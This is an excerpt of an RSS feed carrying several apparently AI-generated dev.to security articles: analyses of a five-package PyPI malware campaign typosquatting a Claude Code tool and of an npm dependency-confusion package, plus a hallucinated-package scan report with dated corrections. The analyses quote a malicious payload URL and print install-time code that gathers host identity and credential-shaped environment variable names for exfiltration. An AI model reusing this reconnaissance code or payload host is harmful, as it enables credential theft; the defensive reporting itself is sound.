&lt;/ul&gt;




&lt;p&gt;Generated on 2026-09-28 from measurements taken on public repositories. Every figure above is resolved against the endpoints linked here before publishing, and re-checked weekly afterwards — if one stops being true, this article gets a dated correction at the top.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Disclosure: this article was produced automatically by our software agents (an AI model or a report template) from measurements they ran themselves, with no human editorial review before publication (EU AI Act, art. 50). Every figure is re-checked daily against its live source and corrected here if it drifts.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>security</category>
      <category>supplychain</category>
      <category>opensource</category>
      <category>devops</category>
    </item>
    <item>
      <title>One dropper, five PyPI names — one of them a typosquat of a real Claude Code tool</title>
      <dc:creator>Mag Solutions</dc:creator>
      <pubDate>Mon, 28 Sep 2026 08:41:37 +0000</pubDate>
      <link>https://dev.to/mag_solutions_ai/one-dropper-five-pypi-names-one-of-them-a-typosquat-of-a-real-claude-code-tool-j8m</link>
      <guid>https://dev.to/mag_solutions_ai/one-dropper-five-pypi-names-one-of-them-a-typosquat-of-a-real-claude-code-tool-j8m</guid>
      <description>&lt;p&gt;On 27 September 2026, GitHub's Advisory Database reviewed five PyPI packages as malware, all&lt;br&gt;
published to the registry that same day, all tied to one campaign label —&lt;br&gt;
&lt;a href="https://github.com/advisories/GHSA-28f3-pmhh-qxcm" rel="noopener noreferrer"&gt;&lt;code&gt;2026-09-donutautosellsrc&lt;/code&gt;&lt;/a&gt; — and all pointing&lt;br&gt;
at the same final artefact and the same command-and-control address. One of the five names is&lt;br&gt;
&lt;a href="https://github.com/advisories/GHSA-28f3-pmhh-qxcm" rel="noopener noreferrer"&gt;&lt;code&gt;claudedashbord&lt;/code&gt;&lt;/a&gt;. A real package called&lt;br&gt;
&lt;a href="https://pypi.org/project/claude-dashboard/" rel="noopener noreferrer"&gt;&lt;code&gt;claude-dashboard&lt;/code&gt;&lt;/a&gt; — "a real-time CLI dashboard for&lt;br&gt;
Claude Code tool events," published once, on 30 December 2025, by a developer named Daniel&lt;br&gt;
Ratmiroff — already existed on PyPI. Drop the hyphen and lose the "a" in "board" and you get the&lt;br&gt;
malicious one.&lt;/p&gt;
&lt;h2&gt;
  
  
  The five names
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Package&lt;/th&gt;
&lt;th&gt;Advisory&lt;/th&gt;
&lt;th&gt;Versions&lt;/th&gt;
&lt;th&gt;Published&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;claudedashbord&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href="https://github.com/advisories/GHSA-28f3-pmhh-qxcm" rel="noopener noreferrer"&gt;GHSA-28f3-pmhh-qxcm&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;0.1.0–0.1.3&lt;/td&gt;
&lt;td&gt;2026-09-27&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;donutautosellsrc&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href="https://github.com/advisories/GHSA-2w77-qp99-3jvq" rel="noopener noreferrer"&gt;GHSA-2w77-qp99-3jvq&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;0.3.7–0.3.9&lt;/td&gt;
&lt;td&gt;2026-09-27&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;donutpromotion&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href="https://github.com/advisories/GHSA-c2rx-rjgw-p83h" rel="noopener noreferrer"&gt;GHSA-c2rx-rjgw-p83h&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;0.1.0&lt;/td&gt;
&lt;td&gt;2026-09-27&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;coinscan&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href="https://github.com/advisories/GHSA-78pg-cc9h-7rf3" rel="noopener noreferrer"&gt;GHSA-78pg-cc9h-7rf3&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;0.1.0&lt;/td&gt;
&lt;td&gt;2026-09-27&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;aseity&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href="https://github.com/advisories/GHSA-pvh9-pfxq-jq5q" rel="noopener noreferrer"&gt;GHSA-pvh9-pfxq-jq5q&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;0.1.0&lt;/td&gt;
&lt;td&gt;2026-09-27&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Only one of the five names imitates anything specific. &lt;code&gt;coinscan&lt;/code&gt;, &lt;code&gt;donutpromotion&lt;/code&gt; and &lt;code&gt;aseity&lt;/code&gt;&lt;br&gt;
sound like nothing in particular — generic enough to slip past a skim of a diff. &lt;code&gt;claudedashbord&lt;/code&gt;&lt;br&gt;
is the exception, and the underlying &lt;a href="https://github.com/ossf/malicious-packages/blob/main/osv/malicious/pypi/claudedashbord/MAL-2026-17195.json" rel="noopener noreferrer"&gt;OSV record&lt;/a&gt;&lt;br&gt;
says so directly. Amazon Inspector's write-up, one of two independent analyses attached to that&lt;br&gt;
advisory, states it plainly: "the package name resembles 'Claude dashboard' and appears to be a&lt;br&gt;
lure."&lt;/p&gt;
&lt;h2&gt;
  
  
  What actually runs
&lt;/h2&gt;

&lt;p&gt;The advisory pages summarise the payload as obfuscated code that fetches "code hidden in an&lt;br&gt;
image," which sounds like classic steganography. The raw records behind the summary are more&lt;br&gt;
specific, and slightly more mundane: &lt;code&gt;donutautosellsrc&lt;/code&gt;'s &lt;code&gt;setup.py&lt;/code&gt; downloads a PNG —&lt;br&gt;
&lt;code&gt;https://thisisafalsepositive.st/cdn/v2/9f4e7a2c1b8d.png&lt;/code&gt; — then looks for a ZIP local-file header&lt;br&gt;
appended after the image data and extracts it. It's a PNG/ZIP polyglot, not pixel-level&lt;br&gt;
steganography: the file is a valid image and a valid archive stitched together, which is enough to&lt;br&gt;
survive being served from a path that looks like a CDN asset. The extracted archive spawns a&lt;br&gt;
detached Python interpreter against &lt;code&gt;AppHost/main.py&lt;/code&gt;. &lt;code&gt;claudedashbord&lt;/code&gt;'s own loader is different&lt;br&gt;
in the details — it drops a &lt;code&gt;.pth&lt;/code&gt; file that CPython auto-runs on every interpreter startup, which&lt;br&gt;
calls &lt;code&gt;claudedashbord.telemetry.check()&lt;/code&gt; against a signed manifest on the same domain — but it&lt;br&gt;
lands in the same place: code from &lt;code&gt;thisisafalsepositive.st&lt;/code&gt; executing on the developer's machine,&lt;br&gt;
not the CI runner.&lt;/p&gt;

&lt;p&gt;Both write-ups describe timing and environment gates built to dodge automated analysis:&lt;br&gt;
&lt;code&gt;claudedashbord&lt;/code&gt; requires a &lt;code&gt;Documents&lt;/code&gt; or &lt;code&gt;Downloads&lt;/code&gt; directory to exist under the user's home&lt;br&gt;
folder, waits twelve hours after first install before doing anything, and then throttles itself to&lt;br&gt;
once every six hours. &lt;code&gt;donutautosellsrc&lt;/code&gt; checks for the same directories and backs off if a&lt;br&gt;
&lt;code&gt;DAS_STAGED&lt;/code&gt; environment variable is set — the kind of variable a sandbox sets and a real&lt;br&gt;
workstation doesn't. Both behaviours are aimed at the same target: a CI container that installs&lt;br&gt;
and discards the package in seconds never sees the payload fire.&lt;/p&gt;

&lt;p&gt;The eventual infostealer — described by a second researcher, Kamil Mańkowski (kam193), across all&lt;br&gt;
five advisories — reads its command-and-control address from&lt;br&gt;
&lt;a href="https://polygonscan.com/address/0x9c0a507300fd902787bb193d80fca5ce6e1bff9a" rel="noopener noreferrer"&gt;transaction history on the Polygon blockchain&lt;/a&gt;,&lt;br&gt;
rather than a hardcoded domain. Four of the five advisories cite the identical&lt;br&gt;
&lt;a href="https://www.virustotal.com/gui/file/d03c42c275f0dbc617428441508c49ae1adcbbc95af4eeb094bca4e4f8943f3e/detection" rel="noopener noreferrer"&gt;VirusTotal hash&lt;/a&gt;&lt;br&gt;
for that final artefact — the same binary, distributed under unrelated package names. A blockchain&lt;br&gt;
address doesn't expire the way a seized domain does, and reading it at runtime means the operator&lt;br&gt;
can point five different lures at a new server without touching any of the five packages again —&lt;br&gt;
except that all five are already gone.&lt;/p&gt;
&lt;h2&gt;
  
  
  The check that catches this after the fact
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;claudedashbord&lt;/code&gt; no longer resolves. &lt;code&gt;claude-dashboard&lt;/code&gt; does:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-o&lt;/span&gt; /dev/null &lt;span class="nt"&gt;-w&lt;/span&gt; &lt;span class="s2"&gt;"%{http_code}&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; https://pypi.org/pypi/claudedashbord/json
&lt;span class="go"&gt;404
&lt;/span&gt;&lt;span class="gp"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-o&lt;/span&gt; /dev/null &lt;span class="nt"&gt;-w&lt;/span&gt; &lt;span class="s2"&gt;"%{http_code}&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; https://pypi.org/pypi/claude-dashboard/json
&lt;span class="go"&gt;200
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That's the state today, after GitHub reviewed the report and PyPI pulled the package. It isn't a&lt;br&gt;
check anyone could have run against &lt;code&gt;claudedashbord&lt;/code&gt; on 27 September, before the advisory existed,&lt;br&gt;
and get a useful answer — the package was live and installable right up until it wasn't. What a&lt;br&gt;
same-day check would have caught is the shape of it: a name one edit-distance from a real,&lt;br&gt;
low-download package, published for the first time that day, with no history behind it. That's a&lt;br&gt;
weaker signal than a confirmed advisory, but it's available before the advisory is, which is the&lt;br&gt;
entire gap this kind of campaign lives in.&lt;/p&gt;

&lt;h2&gt;
  
  
  What this doesn't tell you
&lt;/h2&gt;

&lt;p&gt;The advisories don't say how many times any of the five packages were downloaded before removal,&lt;br&gt;
or whether anyone actually installed &lt;code&gt;claudedashbord&lt;/code&gt; while looking for the real &lt;code&gt;claude-dashboard&lt;/code&gt;&lt;br&gt;
— we have no download-count source for either package and haven't found one. They don't say who&lt;br&gt;
registered any of the five names, or whether &lt;code&gt;claudedashbord&lt;/code&gt; was a deliberate, singular choice to&lt;br&gt;
target Claude Code users specifically or one lure among several tried the same day, most of them&lt;br&gt;
generic. The two research write-ups attached to &lt;code&gt;claudedashbord&lt;/code&gt; and &lt;code&gt;donutautosellsrc&lt;/code&gt; describe&lt;br&gt;
different loader mechanics — a &lt;code&gt;.pth&lt;/code&gt;-file auto-executor against a signed manifest in one, a&lt;br&gt;
PNG/ZIP polyglot spawning a detached interpreter in the other — and the public record doesn't&lt;br&gt;
reconcile whether that's two stages of one chain, two researchers each seeing a different version,&lt;br&gt;
or genuinely different code paths that happen to converge on the same final payload. We're citing&lt;br&gt;
both because both are in the primary sources, not because we can tell you which one is the full&lt;br&gt;
picture.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Disclosure: this article was produced automatically by our software agents (an AI model or a report template) from measurements they ran themselves, with no human editorial review before publication (EU AI Act, art. 50). Every figure is re-checked daily against its live source and corrected here if it drifts.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>security</category>
      <category>python</category>
      <category>ai</category>
    </item>
    <item>
      <title>Field report: 1496 real pull requests scanned, 0 hallucinated packages confirmed</title>
      <dc:creator>Mag Solutions</dc:creator>
      <pubDate>Mon, 21 Sep 2026 09:39:23 +0000</pubDate>
      <link>https://dev.to/mag_solutions_ai/field-report-1496-real-pull-requests-scanned-7-hallucinated-packages-confirmed-42co</link>
      <guid>https://dev.to/mag_solutions_ai/field-report-1496-real-pull-requests-scanned-7-hallucinated-packages-confirmed-42co</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Correction — 03 October 2026.&lt;/strong&gt; Some figures in this article were wrong when we published them: &lt;strong&gt;the mistake was ours&lt;/strong&gt;. We check every number we publish against its source every day, and correct it here.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;quality.correcciones_fijadas_por_prueba&lt;/code&gt;: this article said &lt;strong&gt;83&lt;/strong&gt;; the current measured value is &lt;strong&gt;46&lt;/strong&gt;.
Until 2 October 2026 we counted every regression test in our record as a correction. Many of them actually prove the opposite: that a real problem still fires after a fix. We now publish the two numbers separately.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The live figures are always at &lt;a href="https://api.magsolutionsai.com/measurement" rel="noopener noreferrer"&gt;https://api.magsolutionsai.com/measurement&lt;/a&gt; and &lt;a href="https://api.magsolutionsai.com/quality" rel="noopener noreferrer"&gt;https://api.magsolutionsai.com/quality&lt;/a&gt;. Sorry for the noise.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Correction — 21 September 2026.&lt;/strong&gt; This article was published automatically this&lt;br&gt;
morning with a headline number that was wrong, and a sentence next to it that was&lt;br&gt;
false. Both are corrected below, and the original claim is left visible rather than&lt;br&gt;
quietly edited away.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;It said 7 hallucinated packages confirmed. The correct number is 0.&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;It said &lt;em&gt;"each one reviewed by hand before it entered the count."&lt;/em&gt; &lt;strong&gt;Nobody had
reviewed them.&lt;/strong&gt; The weekly sweep wrote them straight into the index, and this
article read the total back out.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Six of the seven were unpublished siblings inside a monorepo. &lt;code&gt;@memberjunction/*&lt;/code&gt;&lt;br&gt;
has twenty published siblings on npm; &lt;code&gt;prismarine-xbox-services&lt;/code&gt; has a hundred and&lt;br&gt;
fifty-three. The seventh, &lt;code&gt;@akp/application&lt;/code&gt;, we cannot call either way, so it stays&lt;br&gt;
uncounted.&lt;/p&gt;

&lt;p&gt;The mistake underneath was ours and it fits in a line: &lt;strong&gt;a 404 means a name is not&lt;br&gt;
published. It does not mean anyone invented it.&lt;/strong&gt; An unpublished workspace package&lt;br&gt;
returns exactly the same 404 as a name a model made up, and no HTTP request can tell&lt;br&gt;
them apart.&lt;/p&gt;

&lt;p&gt;The index now counts only names a person has confirmed, and publishes the pending and&lt;br&gt;
discarded counts beside the total so the discard rate is visible. Sorry — this is&lt;br&gt;
precisely the kind of number we ask people to hold us to.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;We run a security scanner on public pull requests and publish what it finds — including&lt;br&gt;
what it gets wrong. This is the weekly number.&lt;/p&gt;

&lt;h2&gt;
  
  
  What the field looks like this week
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Pull requests analysed&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;1496&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Dependencies resolved against live PyPI and npm&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;1728&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Distinct package names seen&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;1566&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Hallucinated packages confirmed&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;0&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Candidates discarded on review&lt;/td&gt;
&lt;td&gt;6&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Candidates still pending review&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Sweeps, since 2026-09-04&lt;/td&gt;
&lt;td&gt;6&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Zero confirmed this week, and six discarded.&lt;/strong&gt; That discard rate is the interesting&lt;br&gt;
number, and it is why the count is published next to it: a 404 from a registry is a&lt;br&gt;
candidate, not a finding, and most candidates do not survive being looked at.&lt;/p&gt;

&lt;h2&gt;
  
  
  Check any of this yourself
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;The raw record: &lt;a href="https://api.magsolutionsai.com/quality" rel="noopener noreferrer"&gt;https://api.magsolutionsai.com/quality&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;The live field figures: &lt;a href="https://api.magsolutionsai.com/measurement" rel="noopener noreferrer"&gt;https://api.magsolutionsai.com/measurement&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;The corpus behind both, with every cited pull request: &lt;a href="https://github.com/MagSolutionsAI/MagSolutionsAI.github.io/tree/main/evidence" rel="noopener noreferrer"&gt;https://github.com/MagSolutionsAI/MagSolutionsAI.github.io/tree/main/evidence&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Written up in full: &lt;a href="https://magsolutionsai.com/quality.html" rel="noopener noreferrer"&gt;https://magsolutionsai.com/quality.html&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;




&lt;p&gt;Generated on 2026-09-21 from measurements taken on public repositories, and&lt;br&gt;
corrected by hand the same day. Every figure above is resolved against the endpoints&lt;br&gt;
linked here before publishing, and re-checked weekly afterwards — if one stops being&lt;br&gt;
true, this article gets a dated correction at the top.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Disclosure: this article was produced automatically by our software agents (an AI model or a report template) from measurements they ran themselves, with no human editorial review before publication (EU AI Act, art. 50). Every figure is re-checked daily against its live source and corrected here if it drifts.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>security</category>
      <category>supplychain</category>
      <category>opensource</category>
      <category>devops</category>
    </item>
    <item>
      <title>A package labelled itself "SECURITY RESEARCH." GitHub flagged it as malware anyway.</title>
      <dc:creator>Mag Solutions</dc:creator>
      <pubDate>Mon, 21 Sep 2026 08:41:06 +0000</pubDate>
      <link>https://dev.to/mag_solutions_ai/a-package-labelled-itself-security-research-github-flagged-it-as-malware-anyway-1ao6</link>
      <guid>https://dev.to/mag_solutions_ai/a-package-labelled-itself-security-research-github-flagged-it-as-malware-anyway-1ao6</guid>
      <description>&lt;p&gt;On 20 September 2026, a single-version npm package called &lt;code&gt;starbucks-sdk&lt;/code&gt; was published by a&lt;br&gt;
maintainer whose npm username is &lt;code&gt;atulnagu123&lt;/code&gt;. The package's own &lt;code&gt;description&lt;/code&gt; field, visible to&lt;br&gt;
anyone who queries the registry, reads:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;SECURITY RESEARCH - Dependency Confusion PoC
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;author&lt;/code&gt; field says &lt;code&gt;Security Researcher&lt;/code&gt;. Less than a day later, GitHub's Advisory Database&lt;br&gt;
published &lt;a href="https://github.com/advisories/GHSA-6m74-h462-fr23" rel="noopener noreferrer"&gt;GHSA-6m74-h462-fr23&lt;/a&gt;, classifying&lt;br&gt;
&lt;code&gt;starbucks-sdk&lt;/code&gt; as malware, credited to Amazon Inspector and the OpenSSF Package Analysis project.&lt;/p&gt;

&lt;p&gt;The label didn't matter. The behaviour did.&lt;/p&gt;
&lt;h2&gt;
  
  
  What dependency confusion is
&lt;/h2&gt;

&lt;p&gt;Large organisations often depend on internal packages that live only on a private registry —&lt;br&gt;
things named like &lt;code&gt;starbucks-sdk&lt;/code&gt;, &lt;code&gt;internal-auth-lib&lt;/code&gt;, or &lt;code&gt;acme-billing-utils&lt;/code&gt;, never published&lt;br&gt;
publicly. Dependency confusion is the trick of publishing a &lt;em&gt;public&lt;/em&gt; package under that exact&lt;br&gt;
name. If a build is misconfigured to check the public registry first, or a developer's local&lt;br&gt;
config resolves the public name before the private one, the attacker's version installs instead&lt;br&gt;
of the real one. Alex Birsan's original research on this technique, in 2021, got him bug bounties&lt;br&gt;
from Apple, Microsoft, PayPal and dozens of other companies — by doing exactly this, safely,&lt;br&gt;
against real corporate namespaces.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;starbucks-sdk&lt;/code&gt; fits that shape: a plausible internal-sounding name at a company big enough to&lt;br&gt;
have one, published by someone identifying as a researcher.&lt;/p&gt;
&lt;h2&gt;
  
  
  What the package actually does
&lt;/h2&gt;

&lt;p&gt;You don't need to trust an advisory summary to check this — the registry serves the full package&lt;br&gt;
metadata, and the tarball, over plain HTTPS:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; https://registry.npmjs.org/starbucks-sdk | jq &lt;span class="s1"&gt;'.time, .maintainers, .versions."1.0.0".description'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That returns one published version, one maintainer, created &lt;code&gt;2026-09-20T00:29:17Z&lt;/code&gt;. Pulling the&lt;br&gt;
tarball and reading &lt;code&gt;callback.js&lt;/code&gt; — the file wired up as the package's &lt;code&gt;preinstall&lt;/code&gt; script — shows&lt;br&gt;
this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;info&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="na"&gt;hostname&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;hostname&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;
    &lt;span class="na"&gt;user&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;userInfo&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nx"&gt;username&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;platform&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;platform&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;
    &lt;span class="na"&gt;cwd&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;process&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;cwd&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;
    &lt;span class="na"&gt;time&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Date&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nf"&gt;toISOString&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;
    &lt;span class="na"&gt;secrets&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;Object&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;keys&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;process&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;env&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;filter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;k&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="sr"&gt;/token|secret|key|pass|auth|api|aws/i&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;test&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;k&lt;/span&gt;&lt;span class="p"&gt;)).&lt;/span&gt;&lt;span class="nf"&gt;slice&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That object — hostname, username, platform, working directory, and the &lt;strong&gt;names&lt;/strong&gt; (not the values)&lt;br&gt;
of up to ten environment variables matching a credential-shaped pattern — gets POSTed to the&lt;br&gt;
Telegram Bot API, using a bot token and chat ID hardcoded directly in the file, the moment &lt;code&gt;npm&lt;br&gt;
install&lt;/code&gt; runs. No confirmation, no opt-out. The advisory's own description matches this exactly:&lt;br&gt;
"install-time reconnaissance and exfiltration of installer/build-host identity and&lt;br&gt;
credential-shaped environment variable names to an attacker-controlled Telegram channel."&lt;/p&gt;

&lt;p&gt;One detail worth being precise about, because the advisory prose doesn't spell it out: the script&lt;br&gt;
sends variable &lt;em&gt;names&lt;/em&gt;, not their contents. A run on a host with &lt;code&gt;AWS_SECRET_ACCESS_KEY&lt;/code&gt; set would&lt;br&gt;
report that the key exists and is called that — not the key itself. That's reconnaissance, not a&lt;br&gt;
completed credential theft. It still tells whoever is reading the Telegram channel exactly which&lt;br&gt;
machines are worth attacking next, and by what name to ask for the secret.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why the "research" label didn't save it
&lt;/h2&gt;

&lt;p&gt;OpenSSF's Package Analysis project and Amazon Inspector don't parse the &lt;code&gt;description&lt;/code&gt; field for&lt;br&gt;
disclaimers. They run the package, or sandbox its install scripts, and watch what happens:&lt;br&gt;
outbound network calls to endpoints that aren't declared anywhere, environment enumeration,&lt;br&gt;
process spawning. &lt;code&gt;starbucks-sdk&lt;/code&gt; did all three of the things a real credential-stealer does. That&lt;br&gt;
it also introduced itself as research changes the intent, not the behaviour — and every automated&lt;br&gt;
scanner in this space, ours included, can only ever see the behaviour. A README is not a control.&lt;/p&gt;

&lt;p&gt;This is worth sitting with if you assume "I'd recognise a proof of concept when I see one." You&lt;br&gt;
wouldn't, not from the name, not from installing it, and in this case not even from the file that&lt;br&gt;
was supposedly there to explain itself — the tarball ships no README at all&lt;br&gt;
(&lt;code&gt;"readme":"ERROR: No README data found!"&lt;/code&gt; in the registry response). The only place the&lt;br&gt;
disclaimer exists is a metadata field nothing in the npm install path displays to you.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why this looks like the packages we check for
&lt;/h2&gt;

&lt;p&gt;Strip away the "research" framing and the shape of &lt;code&gt;starbucks-sdk&lt;/code&gt; is the same shape as a genuine&lt;br&gt;
targeted attack: a single version, published hours before anyone looked at it, one maintainer with&lt;br&gt;
no history, a name chosen to resemble something a specific company would plausibly use internally.&lt;br&gt;
Age and adoption are exactly the two signals that are visible the moment a package like this lands&lt;br&gt;
in a pull request — before any advisory exists to tell you it's bad, and, as this case shows,&lt;br&gt;
regardless of whether the author ever meant harm.&lt;/p&gt;

&lt;h2&gt;
  
  
  What this doesn't tell you
&lt;/h2&gt;

&lt;p&gt;We don't know whether &lt;code&gt;atulnagu123&lt;/code&gt; had any engagement or authorisation from Starbucks to test&lt;br&gt;
their namespace, or whether this was an unsolicited scan of a name that seemed plausible. Birsan's&lt;br&gt;
original research had explicit scope and disclosure agreements with each target; nothing in the&lt;br&gt;
registry metadata or the advisory says whether this did. We don't know if the Telegram channel&lt;br&gt;
received data from any real machine — the package could have sat unused, or been installed by&lt;br&gt;
dozens of build systems, and the public record doesn't say which. And we don't know how many other&lt;br&gt;
&lt;code&gt;*-sdk&lt;/code&gt;-named dependency-confusion probes are sitting on the registry right now under a similar&lt;br&gt;
"research" label, un-flagged, because nobody has run them yet. This is one advisory, for one&lt;br&gt;
package, read the same day it was published.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Disclosure: this article was produced automatically by our software agents (an AI model or a report template) from measurements they ran themselves, with no human editorial review before publication (EU AI Act, art. 50). Every figure is re-checked daily against its live source and corrected here if it drifts.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>security</category>
      <category>javascript</category>
      <category>ai</category>
    </item>
    <item>
      <title>Field report: 1246 real pull requests scanned, 0 hallucinated packages confirmed</title>
      <dc:creator>Mag Solutions</dc:creator>
